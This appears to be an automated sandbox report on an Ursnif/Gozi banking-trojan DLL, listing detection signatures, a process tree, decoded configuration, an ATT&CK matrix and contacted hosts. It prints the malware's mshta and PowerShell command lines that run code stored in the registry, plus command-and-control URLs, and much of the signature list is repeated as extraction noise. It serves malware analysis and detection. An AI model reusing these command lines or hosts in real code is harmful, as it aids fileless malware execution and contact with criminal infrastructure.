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Analysis Report Ne6A4k8vK6.dll

Overview

General Information

Sample 
Name:

Ne6A4k8vK6.dll

Analysis ID: 353246

MD5: 282b902a356c19…

SHA1: 2bf3698a4f386c2…

SHA256: d33a4d3ac76095…

Tags: dll Gozi ISFB Ursnif

Most interesting Screenshot:

Detection

UrsnifUrsnif

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Sigma detected: Dot net compiler co

Sigma detected: Dot net compiler co

Sigma detected: Dot net compiler co

Sigma detected: Dot net compiler co

Sigma detected: Dot net compiler co

Sigma detected: Dot net compiler co

Sigma detected: Dot net compiler coSigma detected: Dot net compiler co……

Yara detected 

Yara detected 

Yara detected 

Yara detected 

Yara detected 

Yara detected 

Yara detected Yara detected Ursnif

Ursnif

Ursnif

Ursnif

Ursnif

Ursnif

UrsnifUrsnif

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign process

Allocates memory in foreign processAllocates memory in foreign process……

Changes memory attributes in foreig

Changes memory attributes in foreig

Changes memory attributes in foreig

Changes memory attributes in foreig

Changes memory attributes in foreig

Changes memory attributes in foreig

Changes memory attributes in foreigChanges memory attributes in foreig……

Compiles code for process injection 

Compiles code for process injection 

Compiles code for process injection 

Compiles code for process injection 

Compiles code for process injection 

Compiles code for process injection 

Compiles code for process injection Compiles code for process injection ……

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing Creates a thread in another existing ……

Hooks registry keys query functions

Hooks registry keys query functions

Hooks registry keys query functions

Hooks registry keys query functions

Hooks registry keys query functions

Hooks registry keys query functions

Hooks registry keys query functionsHooks registry keys query functions……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Modifies the export address table of

Modifies the export address table of

Modifies the export address table of

Modifies the export address table of

Modifies the export address table of

Modifies the export address table of

Modifies the export address table ofModifies the export address table of……

Modifies the import address table of

Modifies the import address table of

Modifies the import address table of

Modifies the import address table of

Modifies the import address table of

Modifies the import address table of

Modifies the import address table ofModifies the import address table of……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning Sigma detected: MSHTA Spawning ……

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command lineSuspicious powershell command line……

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMIWrites or reads registry keys via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMIWrites registry values via WMI

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Compiles C# or VB.Net code

Compiles C# or VB.Net code

Compiles C# or VB.Net code

Compiles C# or VB.Net code

Compiles C# or VB.Net code

Compiles C# or VB.Net code

Compiles C# or VB.Net codeCompiles C# or VB.Net code

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtuaContains capabilities to detect virtua……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamicallyContains functionality to dynamically……

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a prContains functionality to launch a pr……

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU Contains functionality to query CPU ……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has no

Found dropped PE file which has noFound dropped PE file which has no……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

PE file does not import any functions

PE file does not import any functions

PE file does not import any functions

PE file does not import any functions

PE file does not import any functions

PE file does not import any functions

PE file does not import any functionsPE file does not import any functions

Queries the installation date of Wind

Queries the installation date of Wind

Queries the installation date of Wind

Queries the installation date of Wind

Queries the installation date of Wind

Queries the installation date of Wind

Queries the installation date of WindQueries the installation date of Wind……

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Registers a DLL

Registers a DLL

Registers a DLL

Registers a DLL

Registers a DLL

Registers a DLL

Registers a DLLRegisters a DLL

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

loaddll32.exe (PID: 6696 cmdline: loaddll32.exe 'C:\Users\user\Desktop\Ne6A4k8vK6.dll' MD5: 8081BC925DFC69D40463079233C90FA5)

regsvr32.exe (PID: 6708 cmdline: regsvr32.exe /s C:\Users\user\Desktop\Ne6A4k8vK6.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

control.exe (PID: 2156 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)

cmd.exe (PID: 6728 cmdline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

iexplore.exe (PID: 6744 cmdline: C:\Program Files\Internet Explorer\iexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6828 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6744 CREDAT:17410 /prefetch:2 MD5: 

071277CC2E3DF41EEEA8013E2AB58D5A)
iexplore.exe (PID: 6568 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6744 CREDAT:17426 /prefetch:2 MD5: 

071277CC2E3DF41EEEA8013E2AB58D5A)
iexplore.exe (PID: 1632 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6744 CREDAT:17432 /prefetch:2 MD5: 

071277CC2E3DF41EEEA8013E2AB58D5A)
iexplore.exe (PID: 5224 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6744 CREDAT:17442 /prefetch:2 MD5: 

071277CC2E3DF41EEEA8013E2AB58D5A)
mshta.exe (PID: 6676 cmdline: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Softwa

re\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\Actidsrv'));if(!window.flag)close()</script>' MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
powershell.exe (PID: 3732 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Soft

ware\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi)) MD5: 95000560239032BC68B4C2FDFCDEF913)
conhost.exe (PID: 5376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

csc.exe (PID: 1324 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\blohq23h\blohq23

h.cmdline' MD5: B46100977911A0C9FB1C3E5F16A5017D)
cvtres.exe (PID: 5292 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user

\AppData\Local\Temp\RESA54D.tmp' 'c:\Users\user\AppData\Local\Temp\blohq23h\CSC8288F7A0C087479098ACD74FC9F3E61F.TMP' MD5: 
33BB8BE0B4F547324D93D5D2725CAC3D)
csc.exe (PID: 5236 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\3upkr1gh\3upkr1g

h.cmdline' MD5: B46100977911A0C9FB1C3E5F16A5017D)
cleanup

Startup

Malware Configuration

Threatname: Ursnif
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Sigma Overview

System Summary:

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: MSHTA Spawning Windows Shell

Signature Overview

• AV Detection

• Compliance

• Spreading

• Networking

• Key, Mouse, Clipboard, Microphone and Screen Capturing

• E-Banking Fraud

• System Summary

• Data Obfuscation

• Persistence and Installation Behavior

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Stealing of Sensitive Information

• Remote Access Functionality

Click to jump to signature section

AV Detection:

{

  "server": "730",

  "os": "10.0_0_17134_x64",

  "version": "250180",

  "uptime": "156",

  "system": "1c5e3cccb7efbfdcae35102f01307909hh",

  "size": "202829",

  "crc": "2",

  "action": "00000000",

  "id": "1100",

  "time": "1613453310",

  "user": "f73be0088695dc15e71ab15cc8e7488a",

  "hash": "0xf857f57e",

  "soft": "3"

}

Source Rule Description Author Strings

00000001.00000003.336276523.0000000005248000.00000
004.00000040.sdmp

JoeSecurity_Ursnif Yara detected  
Ursnif

Joe Security

00000026.00000003.420376736.000001A5E0F30000.00000
004.00000001.sdmp

JoeSecurity_Ursnif Yara detected  
Ursnif

Joe Security

00000026.00000003.420376736.000001A5E0F30000.00000
004.00000001.sdmp

GoziRule Win32.Gozi CCN-CERT 0x8f0:$: 63 00 6F 00 6F 00 6B 00 69 00 65 00 73 00 2E 0
0 73 00 71 00 6C 00 69 00 74 00 65 00 2D 00 6A 00 ...

00000001.00000003.336080557.0000000005248000.00000
004.00000040.sdmp

JoeSecurity_Ursnif Yara detected  
Ursnif

Joe Security

00000001.00000003.336180979.0000000005248000.00000
004.00000040.sdmp

JoeSecurity_Ursnif Yara detected  
Ursnif

Joe Security

Click to see the 15 entries

Yara Overview

Memory Dumps

Copyright null 2021 Page 6 of 75



Found malware configuration

Multi AV Scanner detection for submitted file

Compliance:

Uses 32bit PE files

Uses new MSVCR Dlls

Uses secure TLS version for HTTPS connections

Binary contains paths to debug symbols

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

E-Banking Fraud:

Yara detected Ursnif

System Summary:

Malicious sample detected (through community Yara rule)

Writes or reads registry keys via WMI

Writes registry values via WMI

Data Obfuscation:

Suspicious powershell command line found

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Hooks registry keys query functions (used to hide registry keys)

Modifies the export address table of user mode modules (user mode EAT hooks)

Modifies the import address table of user mode modules (user mode IAT hooks)

Modifies the prolog of user mode functions (user mode inline hooks)

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Changes memory attributes in foreign processes to executable or writable

Compiles code for process injection (via .Net compiler)

Creates a thread in another existing process (thread injection)

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Writes to foreign memory regions

Stealing of Sensitive Information:

Yara detected Ursnif

Remote Access Functionality:

Yara detected Ursnif

Copyright null 2021 Page 7 of 75



Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Valid
Accounts 1

Windows
Management
Instrumentation 2

DLL Side-
Loading 1

DLL Side-
Loading 1

Obfuscated Files or
Information 2

Credential
API
Hooking 3

System Time
Discovery 1

Remote
Services

Archive
Collected
Data 1

Exfiltration Over Other
Network Medium

Ingress Tool
Transfer

Default
Accounts

Native API 1 Valid
Accounts 1

Valid
Accounts 1

Software Packing 2 LSASS
Memory

Account Discovery 1 Remote
Desktop
Protocol

Email
Collection 1

Exfiltration Over
Bluetooth

Encrypted
Channel

Domain
Accounts

Command and
Scripting
Interpreter 1 2

Logon Script
(Windows)

Access Token
Manipulation 1

DLL Side-Loading 1 Security
Account
Manager

File and Directory
Discovery 3

SMB/Windows
Admin Shares

Credential
API
Hooking 3

Automated Exfiltration Non-
Application
Layer
Protocol

Local
Accounts

PowerShell 1 Logon Script
(Mac)

Process
Injection 7 1 2

Rootkit 4 NTDS System Information
Discovery 3 5

Distributed
Component
Object Model

Input
Capture

Scheduled Transfer Application
Layer
Protocol

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Masquerading 1 LSA
Secrets

Query Registry 1 SSH Keylogging Data Transfer Size
Limits

Fallback
Channels

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Valid Accounts 1 Cached
Domain
Credentials

Security Software
Discovery 1 1

VNC GUI Input
Capture

Exfiltration Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Access Token
Manipulation 1

DCSync Virtualization/Sandbox
Evasion 3

Windows
Remote
Management

Web Portal
Capture

Exfiltration Over
Alternative Protocol

Commonly
Used Port

Drive-by
Compromise

Command and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Virtualization/Sandbox
Evasion 3

Proc
Filesystem

Process Discovery 2 Shared
Webroot

Credential
API Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Application
Layer Protocol

Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) Process
Injection 7 1 2

/etc/passwd
and
/etc/shadow

Application Window
Discovery 1

Software
Deployment
Tools

Data Staged Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Web Protocols

Supply
Chain
Compromise

AppleScript At
(Windows)

At (Windows) Regsvr32 1 Network
Sniffing

System Owner/User
Discovery 1

Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

File Transfer
Protocols

Behavior Graph
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Behavior Graph
ID: 353246

Sample: Ne6A4k8vK6.dll

Startdate: 15/02/2021

Architecture: WINDOWS

Score: 100

resolver1.opendns.com c56.lepini.at api3.lepini.at

Found malware configuration
Malicious sample detected
(through community Yara

rule)

Multi AV Scanner detection
for submitted file 8 other signatures

loaddll32.exe

1

        started       

mshta.exe

        started       

regsvr32.exe

2

        started       

cmd.exe

1

        started       

192.168.2.1

unknown

unknown

Suspicious powershell
command line found

powershell.exe

        started       

Writes to foreign memory
regions

Allocates memory in
foreign processes

Modifies the context
of a thread in another

process (thread injection)
2 other signatures

control.exe

        started       

iexplore.exe

2 95

        started       

C:\Users\user\AppData\...\blohq23h.cmdline, UTF-8

dropped

C:\Users\user\AppData\Local\...\3upkr1gh.0.cs, UTF-8

dropped

Maps a DLL or memory
area into another process

Compiles code for process
injection (via .Net

compiler)

Creates a thread in
another existing process

(thread injection)

csc.exe

        started       

csc.exe

        started       

conhost.exe

        started       

Changes memory attributes
in foreign processes

to executable or writable

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Creates a thread in
another existing process

(thread injection)

iexplore.exe

5 156

        started       

iexplore.exe

29

        started       

iexplore.exe

29

        started       

iexplore.exe

29

        started       

C:\Users\user\AppData\Local\...\blohq23h.dll, PE32

dropped

cvtres.exe

        started       

C:\Users\user\AppData\Local\...\3upkr1gh.dll, PE32

dropped

img.img-taboola.com

tls13.taboola.map.fastly.net

151.101.1.44, 443, 49742, 49743

FASTLYUS

United States

8 other IPs or domains

api10.laptok.at

34.65.144.159, 49757, 49758, 49759

GOOGLE-AS-APGoogleAsiaPacificPteLtdSG

United States

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version

No bigger version No bigger version No bigger version No bigger version

Screenshots
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Source Detection Scanner Label Link

Ne6A4k8vK6.dll 13% Virustotal Browse

Ne6A4k8vK6.dll 9% ReversingLabs

No Antivirus matches

Source Detection Scanner Label Link Download

1.2.regsvr32.exe.8f0000.1.unpack 100% Avira HEUR/AGEN.1108168 Download File

1.3.regsvr32.exe.4f4e4a0.2.unpack 100% Avira HEUR/AGEN.1132033 Download File

1.3.regsvr32.exe.51c94a0.1.unpack 100% Avira HEUR/AGEN.1132033 Download File

No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.virustotal.com/gui/file/d33a4d3ac76095145e6061009fc20432b5c2c6ec4a828c7b6956ea5f072f2c34/detection/f-d33a4d3ac76095145e6061009fc20432b5c2c6ec4a828c7b6956ea5f072f2c34-1613419642


Source Detection Scanner Label Link

https://onedrive.live.com;Fotos 0% Avira URL Cloud safe

constitution.org/usdeclar.txtC: 0% Avira URL Cloud safe

https://file://USER.ID%lu.exe/upd 0% Avira URL Cloud safe

api10.laptok.at/api1/gtYC_2BK_2FjCAsja/Qyq2AzjFZWki/EyFB_2F9syK/YEZOamZx4Lsvyb/NcUbBRiZnr
BjBY

0% Avira URL Cloud safe

https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%

0% URL Reputation safe

https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%

0% URL Reputation safe

https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%

0% URL Reputation safe

https://i.geistm.com/l/HFCH_DTS_LP?
bcid=5e875ab70e43d27d2b9a8191&bhid=5f624df5866933554eb1ec8b&a

0% Avira URL Cloud safe

pesterbdd.com/images/Pester.png 0% URL Reputation safe

pesterbdd.com/images/Pester.png 0% URL Reputation safe

pesterbdd.com/images/Pester.png 0% URL Reputation safe

constitution.org/usdeclar.txt 0% Avira URL Cloud safe

api3.lepini.at/api1/cAvNUqMpc/IdHHapeYD4SHdVXH3mAd/peW1DdulTWxo4jVdhE_/2BclvubCIZEFeHr2
parLsi/W8vAuegF9qm1_/2Bc2Uri2/tI_2B7VBmrQkM_2FGOLWJdV/ZevcOT_2F7/aN1O0bRn0Thy1qYaF/
CgfK9alhGqne/Nmw4NXJBDJn/P8aNBBkTqkQ37x/zISm_2BHG3rvuQpW_2B7f/WOCiLUCfbgcmsJTv/K
TRHMKqR6xGOuzu/qERS7QC2tez7odTnTc/DN55JCA1v/CVUVwlhUlDcO4fFIy9AC/YGj5TohopLY3Qf8u
ovP/37r2p6OXxSz6q_2FvuXhXL/nUKFbI3z5dXujOWmh/2

0% Avira URL Cloud safe

crl.microsof 0% Avira URL Cloud safe

https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzepte/Daten_und_Technologien/Stroeer_SSP/
Downl

0% URL Reputation safe

https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzepte/Daten_und_Technologien/Stroeer_SSP/
Downl

0% URL Reputation safe

https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzepte/Daten_und_Technologien/Stroeer_SSP/
Downl

0% URL Reputation safe

api3.lepini.at/api1/8_2FVgZpGgOpBtPbJtTC/2rMn4UngXKzbuPU6_2F/HMrKuoN_2FrAmSXD_2BLs1/_2
BBTwBp4cn7d/E9xMiSRD/EFtTe76YzG6SwcxvsD6t_2B/HIWd_2BnZu/GC7JETGujSFr8ZPF8/xnPVInDf
XKwF/NPgQVsTwu8S/fODbYSsgOG1Kvc/kzeOFOJoGwu_2FiqONxDX/ZrCaCgDo8dJu1lDT/GTsLFQvN
3R9_2B4/pKgPpYToMQzrl1Jpjk/iH_2FdE98/UAkOcl0pZ1330cRb_2Br/G6mmM7PXa9UEYS394sU/YUU
8DGx_2Fbfi2xSZi4oaM/9ScFDx320/O21oW

0% Avira URL Cloud safe

https://onedrive.live.com;OneDrive-App 0% Avira URL Cloud safe

api10.laptok.at/api1/nH23HHDrgk/10Cw7k0sEsFdP7SDZ/GJzI8RwZt_2F/lJSbcpCS9kd/So9_2FRP7wVa
uo/K_2FZsHvY_2BQo_2B8KvW/kveNSQqUDIB8KWkD/_2BFdRg0RIG_2BM/KBDjblq5CBzqopMAX_/2Bi
qcvBwe/7091jLT4LvMbkLNdIBL_/2FJrqtJSJIzTB5wtJ4U/pKouwXKTg9H_2FU5iFL7fr/G5kdpSuG0DFl4/7
8sStOBq/1KCwgfl2cve2_2B91ieBA_2/BG_2BoI5kj/vpZCVzwwZvJx0j7Ia/gE7Fru2i7y88/pRsD_2Fy5JZ/pq
9kw97v_2BgUx/yAzHUV1dSPgWD6UrhGUax/xyL8sVq_2BL2eSk/cu1E

0% Avira URL Cloud safe

api10.laptok.at/favicon.ico 0% Avira URL Cloud safe

https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json 0% Avira URL Cloud safe

api10.laptok.at/api1/jzRoxFaC/VGe9D7ZFmtXM2P4WCtXue9i/9UasgR41C7/sUfUr2FPy8aFKQY_2/Bz_2
Bn96rDq4/tc7hI4JWi9m/eAoTwSqab6IBJQ/rTwjMGXE3TRb_2FfjUanN/uq7E8yfih5MI9t0m/qpGu2Sq1UQ
FLURx/pZERC59_2BSrD1zxX_/2FLMHRYnS/Ogu9FB1M7pDsaHxJB5Qy/wnhAaa5h1vW_2FtCzN_/2Bn
K5hTB5fTJiaqUovmqWy/Ja6s_2BdtmTOE/X8q6_2F2/V3tdgiIR_2BIp0Hf7KFyggN/xa_2BvXTdf/7xkiiYsdP
c4BVaNQ5/VezMmr_2BFNF/qenARXrgKUh/s4DIWvPVD/dh9Eh3

0% Avira URL Cloud safe

api10.laptok.at/api1/nH23HHDrgk/10Cw7k0sEsFdP7SDZ/GJzI8RwZt_2F/lJSbcpCS9kd/So9_2FRP7wVa
uo/K_2

0% Avira URL Cloud safe

https://mem.gfx.ms/meversion/?partner=msn&market=de-ch" 0% URL Reputation safe

https://mem.gfx.ms/meversion/?partner=msn&market=de-ch" 0% URL Reputation safe

https://mem.gfx.ms/meversion/?partner=msn&market=de-ch" 0% URL Reputation safe

api10.laptok.at/api1/jzRoxFaC/VGe9D7ZFmtXM2P4WCtXue9i/9UasgR41C7/sUfUr2FPy8aFKQY_2/Bz_2
Bn96rD

0% Avira URL Cloud safe

https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe

https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe

https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe

https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au

0% URL Reputation safe

https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au

0% URL Reputation safe

https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au

0% URL Reputation safe
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Name IP Active Malicious Antivirus Detection Reputation

contextual.media.net 23.210.250.97 true false high

tls13.taboola.map.fastly.net 151.101.1.44 true false unknown

hblg.media.net 23.210.250.97 true false high

c56.lepini.at 34.65.144.159 true false unknown

lg3.media.net 23.210.250.97 true false high

resolver1.opendns.com 208.67.222.222 true false high

api3.lepini.at 34.65.144.159 true false unknown

geolocation.onetrust.com 104.20.184.68 true false high

api10.laptok.at 34.65.144.159 true false unknown

www.msn.com unknown unknown false high

srtb.msn.com unknown unknown false high

img.img-taboola.com unknown unknown true unknown

web.vortex.data.msn.com unknown unknown false high

cvision.media.net unknown unknown false high

Name Malicious Antivirus Detection Reputation

api3.lepini.at/api1/cAvNUqMpc/IdHHapeYD4SHdVXH3mAd/peW1DdulTWxo4jVdhE_/2Bclvub
CIZEFeHr2parLsi/W8vAuegF9qm1_/2Bc2Uri2/tI_2B7VBmrQkM_2FGOLWJdV/ZevcOT_2F7/a
N1O0bRn0Thy1qYaF/CgfK9alhGqne/Nmw4NXJBDJn/P8aNBBkTqkQ37x/zISm_2BHG3rvuQp
W_2B7f/WOCiLUCfbgcmsJTv/KTRHMKqR6xGOuzu/qERS7QC2tez7odTnTc/DN55JCA1v/CV
UVwlhUlDcO4fFIy9AC/YGj5TohopLY3Qf8uovP/37r2p6OXxSz6q_2FvuXhXL/nUKFbI3z5dXuj
OWmh/2

false Avira URL Cloud: safe unknown

api3.lepini.at/api1/8_2FVgZpGgOpBtPbJtTC/2rMn4UngXKzbuPU6_2F/HMrKuoN_2FrAmSXD
_2BLs1/_2BBTwBp4cn7d/E9xMiSRD/EFtTe76YzG6SwcxvsD6t_2B/HIWd_2BnZu/GC7JETGuj
SFr8ZPF8/xnPVInDfXKwF/NPgQVsTwu8S/fODbYSsgOG1Kvc/kzeOFOJoGwu_2FiqONxDX/Z
rCaCgDo8dJu1lDT/GTsLFQvN3R9_2B4/pKgPpYToMQzrl1Jpjk/iH_2FdE98/UAkOcl0pZ1330c
Rb_2Br/G6mmM7PXa9UEYS394sU/YUU8DGx_2Fbfi2xSZi4oaM/9ScFDx320/O21oW

false Avira URL Cloud: safe unknown

api10.laptok.at/api1/nH23HHDrgk/10Cw7k0sEsFdP7SDZ/GJzI8RwZt_2F/lJSbcpCS9kd/So9_2
